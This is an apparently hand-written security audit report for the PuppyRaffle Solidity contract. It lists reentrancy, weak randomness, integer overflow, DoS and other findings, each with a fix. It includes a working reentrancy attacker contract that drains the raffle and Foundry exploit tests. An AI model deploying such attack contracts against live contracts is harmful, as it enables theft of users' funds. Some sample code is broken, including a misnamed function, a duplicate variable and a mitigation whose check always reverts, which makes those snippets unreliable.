PuppyRaffle Audit Report

19 January 2025

Protocol Audit Report

Claudia Romila

19 January 2025

Prepared by: Claudia Romila

Table of Contents

    * [M-1] Looping through players array to check for duplicates in `PuppyRaffle::enterRaffle` function is potential denial of service (DoS)
    * [M-2] Smart contract wallets raffle winners without a `receive` or `fallback` function will block the start of a new contest
  - Low
    * [L-1] Solidity pragma should be specific, not wide
    * [L-2] `PuppyRaffle::getActivePlayerIndex` returns 0 for non-existent players and for players at index 0, causing a player at index 0 to incorrectly think they have not entered the raffle
  - Informational/Non-Crits
    * [I-1] Using an outdated version of Solidity is not recommended.
    * [I-2] Missing checks for address(0) when assigning values to address state variables
    * [I-3] `PuppyRaffle::selectWinner` does not follow CEI, which is not a best practice
    * [I-4] Use of "magic" numbers is discouraged
    * [I-5] State changes are missing events
    * [I-6] `PuppyRaffle::_isActivePlayer` function is never used and should be deleted
- Gas
  - [G-1] Unchanged state variables should be declared as constant or immutable.
  - [G-2] Storage variables in a loop should be cached

Protocol Summary

The PuppyRaffle contract allows users to enter a raffle for a puppy-themed NFT by paying an entrance fee. Winners are selected randomly after a set duration, with 80% of the prize pool sent to the winner and 20% as fees.

Disclaimer

Claudia Romila makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by the team is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

Risk Classification

		Impact		
		High	Medium	Low
	High	H	H/M	M
Likelihood	Medium	H/M	M	M/L
	Low	M	M/L	L

Audit Details

- Commit Hash: 2a47715b30cf11ca82db148704e67652ad679cd8
- In Scope:

Scope

```
./src/
|__ PuppyRaffle.sol
```

Roles

Owner: Manages fees and updates settings. Participants: Enter raffle and request refunds. Contract: Handles entries, selects winners, mints NFTs, and distributes funds.

Executive Summary

Auditing PuppyRaffle was rewarding, uncovering areas to improve security, efficiency, and reliability in this innovative NFT raffle contract.

Issues found

Severity	Number of issues found
High	3
Medium	2
Low	2
Info	6
Gas	2
Total	15

Findings

High

[H-1] Reentrancy attack in `PuppyRaffle::refund` allows entrant to drain raffle balance

Description: The `PuppyRaffle::refund` function does not follow CEI (Checks, Effects, Interactions) and as a result, enables participants to drain the contract balance.

In the `PuppyRaffle::refund` function, we first make an external call to the `msg.sender` address and only after making that external call we update the `PuppyRaffle::players` array.

```
    function refund(uint256 playerIndex) public {
        address playerAddress = players[playerIndex];
        require(playerAddress == msg.sender,"PuppyRaffle: Only the
            player can refund");
        require(playerAddress != address(0),"PuppyRaffle: Player
            already refunded, or is not active");

@>      payable(msg.sender).sendValue(entranceFee);
@>      players[playerIndex] = address(0);
        emit RaffleRefunded(playerAddress);
    }
```

A player who has entered the raffle could have a `fallback`/`receive` function that calls the `PuppyRaffle::refund` function again and claim another refund. They could continue the cycle till the contract balance is drained.

Impact: All fees paid by entrants could be stolen by the malicious participant.

Proof of Concept: 1. User enters the raffle 2. Attacker sets up a contract with a `fallback` function that calls `PuppyRaffle::refund` 3. Attacker enters the raffle 4. Attacker call `PuppyRaffle::refund` from their attack contract, draining the contract balance

Proof of Code

Code

Place the following into `PuppyRaffleTest.t.sol`

```
    function test_reentranceRefund() public {
         address[] memory players = new address[](4);
         players[0] = playerOne;
         players[1] = playerTwo;
         players[2] = playerThree;
         players[3] = playerFour;
         puppyRaffle.enterRaffle{value: entranceFee * 4}(players);

         ReentrancyAttacker attackerContract = new ReentrancyAttacker(
             puppyRaffle
         );
         address attackUser = makeAddr("attackUser");
         vm.deal(attackUser, 1 ether);

         uint256 startingAttackerContractBalance = address(
            attackerContract)
             .balance;
         uint256 startingContractBalance = address(puppyRaffle).balance;

         vm.prank(attackUser);
         attackerContract.attack{value: entranceFee}();

         console.log(
             "Starting attacker contract balance:",
             startingAttackerContractBalance
         );
         console.log("Starting contract balance:",
            startingContractBalance);

         console.log(
             "Ending attacker contract balance:",
             address(attackerContract).balance
         );
         console.log("Ending contract balance:", address(puppyRaffle).
            balance);
    }
```

And this contract as well.

```
     contract ReentrancyAttacker {
     PuppyRaffle puppyRaffle;
     uint256 entranceFee;
```

```
    uint256 attackerIndex;

    constructor(PuppyRaffle _puppyRaffle) {
        puppyRaffle = _puppyRaffle;
        entranceFee = _puppyRaffle.entranceFee();
    }

    function attack() external payable {
        address[] memory players = new address[](1);
        players[0] = address(this);
        puppyRaffle.enterRaffle{value: entranceFee}(players);

        attackerIndex = puppyRaffle.getActivePlayerIndex(address(this))
            ;
        puppyRaffle.refund(attackerIndex);
    }

    function _stealMoney() internal {
        if (address(puppyRaffle).balance >= entranceFee) {
            puppyRaffle.refund(attackerIndex);
        }
    }

    fallback() external payable {
        _stealMoney();
    }

    receive() external payable {
        _stealMoney();
    }
    }
```

Recommended Mitigation: To prevent this, we should have the `PuppyRaffle::refund` function update the `players` array before making the external call.

[H-2] Weak randomnes in `PuppyRaffle::selectWinner` allows users to influence or predict the winner and predict the winning puppy

Description: Hashing `msg.sender`, `block.timestamp`, and `block.difficulty` together creates a predictable find number. A predictable number is not a good random number. Malicious users can manipulate this values or know them ahead of time to choose the winner of the raffle themselves.

Note This additionally means users could front-run this function and call `refund` if they see they are not the winner.

Impact: Any users can influence the winner of the raffle, winning the money and selecting the `rarest` puppy. Making the entire raffle worthless if it becomes a gas war as to who wins the raffles.

Proof of Concept: 1. Validators can know ahead of time `block.timestamp` and `block.difficulty` and use What to predict when/how to partcipate. See this [https://soliditydeveloper.com/prevRandao]. `block.difficulty` was recently replace with revrandao 2. Users can mine/manipulate their `msg.sender` value to result in their address being used to generate the winner 3. Users can revert their `selectWinner` transaction if they don't like the winner or resulting puppy

Use on-chain values as a randomness see is a well-documented attack vector in the blockchain space.

Recommended Mitigation: Consider using random number generator such as ChainLink VRF.

[H-3] Integer overflow in `PuppyRaffle::selectWinner` totalFees lose fees

Description: In solidity version prior to `0.8.0` integers were subject to integer overflows.

```
uint256 myVar = type(uint64).max
// 18446744073709551615
myVar = myVar + 1
// myVar will be 0
```

Impact: In `PuppyRaffle::selectWinner`, `totalFees` are accumulated for the `totalFees` to collect later in `PuppyRaffle::withdrwaFees`. However, if the `totalFees` variable overflows, the `feeAddress` may not collect the correct amount of fees, leaving fees permanently stuck in the contract.

Proof of Concept: 1. We include a raffle of 4 players 2. We then have 89 players enter a new raffle, and conclude the raffle 3. `totalFees` will be:

```
totalFees = totalFees + uint64(fee);
totalFees = 800000000000000000 + 17800000000000000000;
// this will overflow
totalFees = 153255926290448384;
```

4. You will not be able to withdraw, due to the line in `PuppyRaffle::withdrawFees`

```
require(address(this).balance == uint256(totalFees),"PuppyRaffle:
   There are currently players active!");
```

Althought you could use `selfStruct` to send ETH to this contract in order for the values to match and withdraw the fees, this is clearly not the indended design of the protocol. At some point, there will be too much `balance` in the contract that the above `require` will be impossible to hit.

Code

```
function testTotalFeesOverflow() public playersEntered {
    // We finish a raffle of 4 to collect some fees
    vm.warp(block.timestamp + duration + 1);
```

```
        vm.roll(block.number + 1);
        puppyRaffle.selectWinner();
        uint256 startingTotalFees = puppyRaffle.totalFees();
        // startingTotalFees = 800000000000000000

        // We then have 89 players enter a new raffle
        uint256 playersNum = 89;
        address[] memory players = new address[](playersNum);
        for (uint256 i = 0; i < playersNum; i++) {
            players[i] = address(i);
        }
        puppyRaffle.enterRaffle{value: entranceFee * playersNum}(
           players);
        // We end the raffle
        vm.warp(block.timestamp + duration + 1);
        vm.roll(block.number + 1);

        // And here is where the issue occurs
        // We will now have fewer fees even though we just finished a
           second raffle
        puppyRaffle.selectWinner();

        uint256 endingTotalFees = puppyRaffle.totalFees();
        console.log("ending total fees", endingTotalFees);
        assert(endingTotalFees < startingTotalFees);

        // We are also unable to withdraw any fees because of the
           require check
        vm.prank(puppyRaffle.feeAddress());
        vm.expectRevert("PuppyRaffle: There are currently players
           active!");
        puppyRaffle.withdrawFees();
    }
```

Recommended Mitigation: There are few possible mitigations: 1. Use a newer solidity version, and a `uint256` instead of `uint64` for `PuppyRaffle::totalFees` 2. You could also use the `safeMath` library from Openzepplin for version 0.7.6 of solidity, however you would still have a hard time with the `uint256` type if too many fees are collected 3. Remove the balance check from `PuppyRaffle::withdrawFees` 4.

```
-  require(address(this).balance == uint256(totalFees), "PuppyRaffle:"
   There are    currently players active!");
```

There are more attack vectors with that final require, so we recommend removing it regadless.

Medium

[M-1] Looping through players array to check for duplicates in `PuppyRaffle::enterRaffle` function is potential denial of service (DoS)

Description: The `PuppyRaffle::enterRaffle` function loops through the `players` array. However, the longer the `PuppyRaffle::players` array is, the more checks a new players will have to make. This means the gas cost for player who enter right after raffle starts will be dramatically lower than those who enter later. Every additional address in the `players` array, is an additional check the loop.

```
@>  for (uint256 i = 0; i < players.length - 1; i++) {
        for (uint256 j = i + 1; j < players.length; j++) {
            require(players[i] != players[j], "PuppyRaffle:
            Duplicate player");
            }
    }
```

Impact: Gas cost for raffle entrants will increase as more players enter the raffle. Discouraging later users from entering the raffle.

Proof of Concept: If we have 2 sets of 100 players enter, the gas costs will be as such: - 1st 100 players: ~6252048 gas - 2nd 100 players: ~18068138 gas This is more than 3x more expensive for second 100 players.

PoC Place the following test into `PuppyRaffleTest.t.sol`.

```
    function test_denialOfService() public {
        vm.txGasPrice(1);

        // Let's enter 100 players
        uint256 playersNum = 100;
        address[] memory players = new address[](playersNum);
        for (uint256 i = 0; i < playersNum; i++){
            players[i] = address(i);
        }
        // See gas cost
        uint256 gasStart = gasleft();
        puppyRaffle.enterFaffle{value: entranceFee * players.length}(
            players);
        uint256 gasEnd = gasleft();

        uint256 gasUsedFirst = (gasStart - gasEnd) * tx.gasprice;
        console.log("Gas cost of the first 100 players", gasUsedFirst);

        // Now for the 2nd 100 players
        address[] memory playersTwo = new address[](playersNum);
        for (uint256 i = 0; i < playersNum; i++){
            playersTwo[i] = address(i + playersNum); // 0, 1, 2, -> 100, 101, 102
        }
        // See has cost
        uint256 gasStartSecond = gasleft();
        puppyRaffle.enterFaffle{value: entranceFee * players.length}(playersTwo);
        uint256 gasEndSecond = gasleft();
        uint256 gasEndSecond = (gasStartSecond - gasStartSecond) * tx.gasprice;
        console.log("Gas cost of the second 100 players", gasEndSecond);

        assert(gasUsedFirst < gasEndSecond);
    }
```

Recommended Mitigation: There are few recommendations. 1. Consider allowing duplicates. Users can make new wallet addresses anyways, so a dublicate check doesn't prevent the same person from entering multyple times, only the same wallet address. 1. Consider using mapping to check for duplicates. This will allow constant time lookup of whether a user has already entered.

```
+    mapping(address => uint256) public addressToRaffleId;
+    uint256 public raffleId  = 0;
    .
    .
    .
    function enterRaffle(address[] memory newPlayers) public payable {
       require(msg.value == entranceFee * newPlayers.length,
       "PuppyRaffle: Must send enough to enter raffle");
       for (uint256 i = 0; i < newPlayers.length; i++) {players.push(newPlayers[i]);
+            addressToRaffleId[newPlayers[i]] = raffleId;
       }

+        for (uint256 i = 0; i < newPlayers.length; i++) {require(addressToRaffleId[newPlayers[i]] !=
+            raffleId,"PuppyRaffle: Dublicate player");
+        }
-        for (uint256 i = 0; i < players.length - 1; i++) {
-        for (uint256 j = i + 1; j < players.length; j++)
-{
-        require(players[i] != players[j],
-        "PuppyRaffle:  Duplicate player");
-        }
-        }
        emit RaffleEnter(newPlayers);
    }
.
.
.
```

```
    function selectWinner() external {
+        raffleId = raffleId + 1;
        require(block.timestamp >= raffleStartTime + raffleDuration,
        "PuppyRaffle: Raffle not over");
    }
```

[M-2] Smart contract wallets raffle winners without a `receive` or `fallback` function will block the start of a new contest

Description: The `PuppyRaffle::selectWinner` function is responsible for resetting the lottery. However, if the winner is a smart contract wallet that rejects payment, the lottery winner would not be able to restart.

Users could easily call the `selectWinner` function again and non-wallet entrants could enter, but it could cost a lot due to the dublicate check and a lottery reset could get very challenging.

Impact: The `PuppyRaffle::selectWinner` function could revert many times, making a lottery reset difficult.

Also, true winners would not get paid out and someone else could take their money!

Proof of Concept: 1. 10 smart contracts wallets enter the lottery without a `fallback` or `receive` function 2. The lottery ends 3. The `selectWinner` function won't work, even though the lottery is over

Recommended Mitigation: There are fe options to mitigate this issue. 1. Do not allow smart contract wallet entrants (not recommended) 2. Create a mapping of addresses => payout amounts so winners can pull their funds out themselves with a new `claimPrize` function, putting the owness on the winner to claim their prize. (Recommended)

Low

[L-1] Solidity pragma should be specific, not wide

Consider using a specific version of Solidity in your contracts instead of a wide version. For example, instead of pragma solidity ^0.8.0;, use pragma solidity 0.8.0;

- Found in src/PuppyRaffle.sol: 32:23:35

[L-2] `PuppyRaffle::getActivePlayerIndex` returns 0 for non-existent players and for players at index 0, causing a player at index 0 to incorrectly think they have not entered the raffle

Description: If a player is in the `PuppyRaffle::getActivePlayerIndex` array at index 0 this will return 0, but according to the natspec, it will also return 0 if the player is not in the array.

```
    /// @return the index of the player in the array, if they are not
        active, it returns 0
    function getActivePlayerIndex(address player) external view returns
        (uint256) {
          for (uint256 i = 0; i < players.length; i++) {
              if (players[i] == player) {
                  return i;
              }
          }
           return 0;
      }
```

Impact: A player at index 0 may incorrectly think they have not entered the raffle, and attempt to enter the raffle again, wasting gas.

Proof of Concept: 1. User enters the raffle, they are the first entran 2. `PuppyRaffle::getActivePlayerIndex` returns 0 3. Users thinks they have not entered correctly due to the function documentation

Recommended Mitigation: The easiest recommendation would be to revert if the player is not in the array instead of returning 0.

You could also reserve the 0th possition for any comtition, but a better solution might be to return an `int256` where the function returns -1 if the player is not active.

Informational/Non-Crits

[I-1] Using an outdated version of Solidity is not recommended.

Please use a newer version like `0.8.18`.

[I-2] Missing checks for address(0) when assigning values to address state variables

Check for address(0) when assigning values to address state variables.

[I-3] `PuppyRaffle::selectWinner` does not follow CEI, which is not a best practice

It's best to keep code clean and follow CEI (Checks, Effects, Interactionals):

```
-    (bool success, ) = winner.call{value: prizePool}("");
-    require(success, "PuppyRaffle: Failed to send prize pool to winner"
    );
     _safeMint(winner, tokenId);
+     (bool success, ) = winner.call{value: prizePool}("");
+    require(success, "PuppyRaffle: Failed to send prize pool to winner"
    );
```

[I-4] Use of "magic" numbers is discouraged

It can be confusing to see number literals in the code base, and is much more readable if the numbers are given a name.

```
-  uint256 prizePool = (totalAmountCollected * 80) / 100;
-  uint256 fee = (totalAmountCollected * 20) / 100;
```

Instead, you could use:

```
+  uint256 public constant PRIZE_POOL_PERCENTAGE = 80;
+  uint256 public constant FEE_PERCENTAGE = 20;
+  uint256 public constant POOL_PRECISION = 100;
```

[I-5] State changes are missing events

It is recommended to use events when state changes occur to ensure proper tracking and handling of state transitions.

[I-6] `PuppyRaffle::_isActivePlayer` function is never used and should be deleted

Removing unused functions helps improve code clarity, reduce complexity

Gas

[G-1] Unchanged state variables should be declared as constant or immutable.

Reading from storage is much more expensive tha reading from constant or immutable variable.

Instances: - `PuppyRaffle::raffleDuration` should be `immutable` - `PuppyRaffle::commonImageUri` should be `constant` - `PuppyRaffle::rareImageUri` should be `constant` - `PuppyRaffle::legendaryImageUri` should be `constant`

[G-2] Storage variables in a loop should be cached

Everytime you call `players.length` you read from storage, as opposed to memory which is more gas efficient.

```diff
+        uint256 playersLength = players.length;
-        for (uint256 i = 0; i < players.length - 1; i++) {
+        for (uint256 i = 0; i < playersLength - 1; i++) {
-            for (uint256 j = i + 1; j < players.length; j++) {
+            for (uint256 j = i + 1; j < playersLength; j++) {
                require(players[i] != players[j],"PuppyRaffle:
                    Duplicate player");
            }
        }
```